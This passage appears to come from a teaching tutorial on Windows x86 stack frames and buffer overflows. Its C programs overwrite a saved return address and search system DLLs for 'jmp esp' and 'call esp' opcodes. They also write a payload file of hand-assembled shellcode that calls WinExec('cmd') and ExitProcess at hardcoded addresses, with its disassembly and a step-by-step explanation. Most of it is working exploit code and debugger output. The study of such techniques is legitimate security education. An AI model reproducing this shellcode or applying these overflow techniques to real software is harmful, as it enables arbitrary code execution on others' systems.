instruction moves the stack up by 4 to 12fed0 and the eip register will contain
0040101B. Also the control comes back to function abc. Thereafter, the return 5
simply moves the value to eax register and the pop ebp restores the value of
ebp register. The stack at 12fed8 now contains the address to jump back to main
0d 10 40 00.
Pressing
F11 then returns control back to function main and 8 added to the stack move it
back to its original position before the function call, 12FED8. The stack on
ret becomes 12fedc.
The 4 pops
are visible as the compiler had generated code to save the 4 registers on the
stack and finally the ret instruction will call the code that called main.
Whew.
Buffer Overflow.
A24.c
main()
{
char a[6];
a[12]='A';
a[13]='B';
a[14]='C';
a[15]='D';
}
The array a
is created with a size of 6 on the stack. Though the size is 6, it is allocated
8 bytes. Also, four bytes above this array i.e. a[8] to a[11] is the ebp
register and above these 4 bytes will be the return address.
The program
overwrites the return value with the hex values 0x41 to 0x44. As a result, when
function main returns, it pops the value 0x44434241 into eip and the system
mechanically tries to execute the code present at this location.
There is
obviously no valid code present there and thus an Application error showing bad
memory location is emitted. Windows does not permit anyone to reference memory
that is not assigned to it.
The main objective
of this program is to emphasis the fact that the return address is susceptible
to a hijack.
A25.c
main()
{
char a[3];
strcpy(a,"AAAAAAAABCDE");
}
There is
not one way to skin a cat. This program takes a different approach to overwrite
the return address. As the array a is the first and only variable, 8 bytes
above it is the return address. The strcpy function does no bounds checking on
the size of the array, thus using this function, the return address is
overwritten with 0x45444342. What follows next is already seen in the previous
program.
A26.c
#include
<windows.h>
main()
{
unsigned
char *p ;
//p =
LoadLibrary("kernel32.dll");
p =
LoadLibrary("user32.dll");
printf("Dll
Loaded at %p\n",p);
while ( 1 )
{
if ( p[0]
== 0xff && p[1] == 0xe4)
printf("Found
opcode jmp at %p\n",p);
if ( p[0]
== 0xff && p[1] == 0xD4)
printf("Found
opcode call at %p\n",p);
p++;
}
}
Kernel32.dll
Dll Loaded at 77E80000
Found opcode call at 77E8250A
Error box
User32.dll
Dll Loaded
at 77E10000
Found opcode
jmp at 77E2492B
Found
opcode call at 77E27741
Found
opcode jmp at 77E3AF64
Error box
The
LoadLibrary function loads the dll in memory. Since this dll is already loaded,
it does not get reloaded but its address in memory is returned. Windows 2000 with
service pack 2 gives a value of 77e10000 whereas for kernel32 it gives an
address of 77e80000.
Once the
dll is present in memory, the program now attempts to locate the bytes ff e4 or
ff d4 in this area. These bytes for the intel assembler represent jump esp and
call esp. Both these instruction run code at the address specified by the esp
register. Thus, code present at the address on the stack is executed.
If you wish
to see the program in its disassembled mode, give the command as
>cl /FAcs a.c > zz.txt
This
program is a further improvement on the above one where the system runs our
code.
A27.c
#include <stdio.h>
main()
{
FILE *fp;
fp =
fopen("q10.txt","wb");
fputc('A',fp);
fputc('A',fp);
fputc('A',fp);
fputc('A',fp);
fputc('A',fp);
fputc('A',fp);
fputc('A',fp);
fputc('A',fp);
fputc(0x0a,fp);
fputc(0x25,fp);
fputc(0xe8,fp);
fputc(0x77,fp);
fputc(0xcc,fp);
fclose(fp);
}
A file called q10.txt is
opened in binary mode for writing. The mode is set to binary in order to avoid
any special interpretation of numbers while writing to the file. Using the
function fputc, which takes a character and the file pointer, 8 A’s are written
on to disk.
Once the characters are
written, some hex characters are inserted. If you watch closely, it is the
address found in user32.dll from the earlier program wherein the bytes
represent the jump esp instruction. Since ours is an intel machine, the address
is written with the smallest bytes first. Once done, the op code 0xcc for the
int 3 breakpoint instruction is inserted.
A28.c
#include <stdio.h>
FILE *fp;
main()
{
char a[4];
fp =
fopen("q10.txt","rb");
fread(a,100,1,fp);
__asm
{
int 3
}
}
The above
program is a sequel to the previous one. It opens the file q10.txt and then reads
the next 100 bytes into an array a. However, since the array is only 4 bytes
large only 4 bytes are allocated to the array. Thus the first 4 A’s will be
saved in the allocated array memory and thereafter the saved value of register
ebp gets overwritten by the next 4 A’s.
After the 8
bytes is the address of the call esp op code which will overwrite the saved eip
on the stack. Lastly, the op code CC is put on the stack. The fread function in
one go places all these bytes on the stack without realizing that it is
overwriting the existing instruction
As per the
stack, when the main function returns, the value pushed into eip will be that
of kernel32.dll i.e. 77e8250a. Due to this, the system jump to this location to
execute instructions. What it finds here is the op codes ff d4. These op codes
get interpreted as call esp. The stack however is now pointing to op code cc.
Thus, the system jumps back to the stack and executes the break point
interrupt.
We have
deliberately placed the int 3 instruction after the fread function but before
the closing brace. The end-result is that the above program, on executing moves
into the debugging mode.
The
compiler at the start pushes the registers edi, esi and ebx on the stack, thus
they are being popped off. Then the stack is restored back in esp and ebp is
popped off the stack. The contents of the stack at the pop ebp instruction look
like.
Before
stack 41 41 41 41
Stack
Value 41 41 41 41 0A 25 E8 77 CC
The values
41 41 41 41 get placed into ebp and at the ret the stack is pointing to the
address 0a 25 e8 77.
77E8250A FF
D4 call esp
On pressing
F10, the code in kernel32.dll gets executed where the call esp instruction is
clearly visible. The stack pointer has a value 0012feec. At this address, the
value present is 0xcc, which is clearly visible in the stack window. Pressing
F10 places this value 0012feec into the eip register and the breakpoint
interrupt gets called.
Let’s
understand the significance of the above code.
All programs
read from a file on disk into a buffer in memory. This file redirects the eip
register to hold an address in memory that contains the call esp instruction.
The execution of this code, on the other hand, jumps back to the stack where it
executes code that comes from the disk file. In short, by causing a buffer
overflow, the stack has been manipulated to execute code from a file on disk.
At present, this code is simply an int 3 instruction.
d.c
#include
<stdio.h>
main()
{
FILE *fp;
fp =
fopen("q10.txt","wb");
fputc('A',fp);
fputc('A',fp);
fputc('A',fp);
fputc('A',fp);
fputc('A',fp);
fputc('A',fp);
fputc('A',fp);
fputc('A',fp);
fputc(0x0a,fp);
fputc(0x25,fp);
fputc(0xe8,fp);
fputc(0x77,fp);
fputc(0x55,fp);
fputc(0x8b,fp);
fputc(0xec,fp);
fputc(0x51,fp);
fputc(0xc7,fp);
fputc(0x45,fp);
fputc(0xfc,fp);
fputc(0x63,fp);
fputc(0x6d,fp);
fputc(0x64,fp);
fputc(0x00,fp);
fputc(0x6a,fp);
fputc(0x05,fp);
fputc(0x8b,fp);
fputc(0xc5,fp);
fputc(0x83,fp);
fputc(0xe8,fp);
fputc(0x04,fp);
fputc(0x50,fp);
fputc(0xb8,fp);
fputc(0xAF,fp);
fputc(0xA7,fp);
fputc(0xE9,fp);
fputc(0x77,fp);
fputc(0xff,fp);
fputc(0xd0,fp);
fputc(0x6a,fp);
fputc(0x00,fp);
fputc(0xb8,fp);
fputc(0x94,fp);
fputc(0x8f,fp);
fputc(0xE9,fp);
fputc(0x77,fp);
fputc(0xff,fp);
fputc(0xd0,fp);
fclose(fp);
}
d1.c
#include
<windows.h>
#include
<stdio.h>
FILE *fp;
int
_stdcall WinMain(HINSTANCE i ,
HINSTANCE j , char *k, int l)
{
abc();
}
int abc()
{
char
a[4];int i1;
fp =
fopen("q10.txt","rb");
fread(a,100,1,fp);
__asm
{
int 3
}
}
d3.c
#include
<windows.h>
main()
{
HANDLE h;
void *p;
h =
LoadLibrary("kernel32.dll");
p =
GetProcAddress(h,"WinExec");
printf("WinExec
%x\n",p);
p =
GetProcAddress(h,"ExitProcess");
printf("ExitProcess
%x\n",p);
}
> d3
WinExec
77e9a7af
ExitProcess
77e98f94
>cl d.c
>d
>cl d1.c
>d1
0012FF34
55 push ebp
0012FF35 8B
EC mov ebp,esp
0012FF37
51 push ecx
0012FF38 C7
45 FC 63 6D 64 00 mov dword ptr
[ebp-4],646D63h
0012FF3F 6A
05 push 5
0012FF41 8B
C5 mov eax,ebp
0012FF43 83
E8 04 sub eax,4
0012FF46
50 push eax
0012FF47 B8
AF A7 E9 77 mov eax,77E9A7AFh
0012FF4C FF
D0 call eax
0012FF4E 6A
00 push 0
0012FF50 B8
94 8F E9 77 mov eax,77E98F94h
0012FF55 FF
D0 call eax
The first instruction
visible on the screen is the breakpoint interrupt CC. Then either you see a
leave instruction or the op code 55 which is push ebp. One of the many reasons
of pushing a register on the stack is to restore the original value at the end
of the code because the value in it is likely to change. A simple rule in
assembler is to restore all the changed registers to their original value. The
next instruction as per the output replaces the contents of the ebp register
with that of esp. Since esp is the stack indicator, each time a value is pushed
or popped on the stack, its value changes . Thus by saving a copy of esp in ebp
(ebp remains unchanged), we now have a reference to the original stack position
before the code is called. The leave
instruction does the same job internally.
These
instructions thus give a fixed reference point of the stack in order to
reference values on it. Also, when the code ends, the stack can be restored to
its original value by simply popping the ebp register,
First, the
value in ecx register is pushed on the stack. At present, the value is of no
importance so we safely ignore it. Since the value is pushed on the stack, 4
memory locations have been allocated as well as the stack moves down by 4. Thus
to reference this value, we have to use ebp-4. Then, the string cmd is to be
placed on the stack. For this purpose, the mov instruction is used which copies
the ASCII values of c, m and d 63,6d and 64 on the stack at ebp-4. Being a
little endian machine, the 63h or c comes last.
The square
brackets in assembler represent a pointer. For eg, if ebp had a value 100, then
cmd would be stored at locations 96 onwards. It for these reasons, the 4 bytes
were allocated on the stack cause, in assembler one is not allowed to write
anywhere, it must be the memory that has been previously allocated.
The WinExec
function takes two parameters, the name of the program to be executed and the
initial mode the window should be opened in, A value of 5 means normal. So,
first 5 is pushed on the stack as the parameters go in the reverse way and then
the address of where the string cmd in memory is given. In our case, it is
ebp-4.
To simplify
this task, first ebp is moved into eax, then 4 is subtracted from it. This
value is the pushed on the stack. Finally the function WinExec is to be called
which will execute the program.
This
function is present in kernel32.dll and since the dll is already in memory, we
simply need to find the location of the function code in memory. However, first
function LoadLibrary is used to find the address of kernel32.dll, and then
using GetProcAddress, the address of WinExec functions in memory is obtained.
Once the
value is obtained, using the mov instruction, the value is moved into the eax
register. The call has the op code B8 followed by the address in memory of our
function.
The address
of function WinExec is 77e9a7af as displayed by program d3. This value of
WinExec may change with every new version of Windows and with every new release
of service pack that’s why it is advisable not to hard code it. Here however
while we are learning, we move this address into the eax register and then use
the instruction call eax to call the code of WinExec. This creates a new copy
of the DOS console.
Once done,
its time to clean the mess. Every program under Windows calls the function
ExitProcess whenever it quits out. This address is again retrieved in the same
manner as Winexec and program d3 displays its value. A value of 0 is first
placed on the stack, and then address of ExitProcess is placed in eax. Finally
the op code for call eax is given.
The above program for some
reason does not work on all machines, therefore a similar logic has been used
with user32.dll. However, since the dll does not get loaded by default, we use
one of the functions, ‘MessageBox’ from the dll. Once done, the address of the
jmp esp instruction is feeded in the text file in place of call esp. Other than
these modifications, the program remains just about the same.
d.c
#include <stdio.h>
main()
{
FILE *fp;
fp =
fopen("q10.txt","wb");
fputc('A',fp);
fputc('A',fp);
fputc('A',fp);
fputc('A',fp);
fputc('A',fp);
fputc('A',fp);
fputc('A',fp);
fputc('A',fp);
fputc(0x0b,fp);
fputc(0xa9,fp);
fputc(0xf5,fp);
fputc(0x77,fp);
fputc(0x55,fp);
fputc(0x8b,fp);
fputc(0xec,fp);
fputc(0x51,fp);
fputc(0xc7,fp);
fputc(0x45,fp);
fputc(0xfc,fp);
fputc(0x63,fp);
fputc(0x6d,fp);
fputc(0x64,fp);
fputc(0x00,fp);
fputc(0x6a,fp);
fputc(0x05,fp);
fputc(0x8b,fp);
fputc(0xc5,fp);
fputc(0x83,fp);
fputc(0xe8,fp);
fputc(0x04,fp);
fputc(0x50,fp);
fputc(0xb8,fp);
fputc(0xAF,fp);
fputc(0xA7,fp);
fputc(0xE9,fp);
fputc(0x77,fp);
fputc(0xff,fp);
fputc(0xd0,fp);
fputc(0x6a,fp);
fputc(0x00,fp);
fputc(0xb8,fp);
fputc(0x94,fp);
fputc(0x8f,fp);
fputc(0xE9,fp);
fputc(0x77,fp);
fputc(0xff,fp);
fputc(0xd0,fp);
fclose(fp);
}
d1.c
#include
<windows.h>
#include
<stdio.h>
FILE *fp;
main()
{
abc();
}
int abc()
{
char
a[4];int i1;
MessageBox(0,"hi","hi",0);
fp =
fopen("q10.txt","rb");
fread(a,100,1,fp);
__asm
{
int 3
}
}
>cl d.c
>d
>cl d1.c
user32.lib
>d1